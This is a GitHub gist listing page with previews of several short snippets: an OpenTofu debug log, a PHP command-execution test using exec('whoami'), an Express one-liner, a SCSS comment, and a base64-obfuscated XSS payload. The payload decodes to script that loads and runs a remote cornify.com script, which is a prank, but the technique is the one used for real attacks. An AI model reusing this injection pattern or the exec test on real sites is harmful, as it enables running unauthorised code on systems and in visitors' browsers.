Skip to content

Instantly share code, notes, and snippets.

@E314c
E314c / gist:3d43b37be1f94bade8197b6c04568ae0
Last active March 28, 2025 10:36
terraform-provider-freeipa_v5.0.0 : issue when attempting to `import` user that is also being used for authentication to FreeIPA
2025-03-28T11:25:19.863+0100 [INFO] OpenTofu version: 1.7.1
2025-03-28T11:25:19.864+0100 [DEBUG] using github.com/hashicorp/go-tfe v1.36.0
2025-03-28T11:25:19.864+0100 [DEBUG] using github.com/opentofu/hcl/v2 v2.0.0-20240416130056-03228b26f391
2025-03-28T11:25:19.864+0100 [DEBUG] using github.com/hashicorp/terraform-svchost v0.1.1
2025-03-28T11:25:19.864+0100 [DEBUG] using github.com/zclconf/go-cty v1.14.4
2025-03-28T11:25:19.864+0100 [INFO] Go runtime version: go1.21.3
2025-03-28T11:25:19.864+0100 [INFO] CLI args: []string{"tofu", "plan"}
2025-03-28T11:25:19.864+0100 [TRACE] Stdout is a terminal of width 243
2025-03-28T11:25:19.864+0100 [TRACE] Stderr is not a terminal
2025-03-28T11:25:19.864+0100 [TRACE] Stdin is a terminal
@E314c
E314c / test.php
Last active May 31, 2020 23:03
Test
<h1> checking if this works </h1>
<? echo exec('whoami');
echo exec('ls /usr/share/php');
?>
@E314c
E314c / payload.js
Created December 19, 2019 19:45
My favourite XSS payload that I will use whenever possible
Function(atob('KCgpPT57eT1kb2N1bWVudDt4PXkuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7eC5zcmM9Imh0dHBzOi8vd3d3LmNvcm5pZnkuY29tL2pzL2Nvcm5pZnkuanMiO3gudHlwZT0idGV4dC9qYXZhc2NyaXB0Ijt5LmJvZHkuYXBwZW5kQ2hpbGQoeCk7c2V0SW50ZXJ2YWwoKCk9PndpbmRvdy5jb3JuaWZ5X2FkZCgpLDUwMCk7fSkoKQ=='))()
@E314c
E314c / wispi.md
Last active August 15, 2018 21:12
WiSpi Ideas and Information
@E314c
E314c / static.js
Created April 6, 2018 15:52
one line express static server. (needs `express` installed)
x=require('express');x().use(x.static(__dirname)).listen(3200,()=>console.log('listening on 3200'));
@E314c
E314c / undefinedWarning.scss
Created March 22, 2018 11:30
A style to catch "undefined" styles in modern webapps
/* In this modern world of webpacking and importing styles into your javascript
to make use of CSS modules, you sometimes end up asking for a style that just doesn't exist.
Thus, your component ends up with `undefined` in it's class definition.
At best, it's no noticable effect.
At worst, you're missing key styling you thought you had because of a typo in your JS.
This snippet just adds a style to `.undefined`, highlighting them on your screen for ease.
*/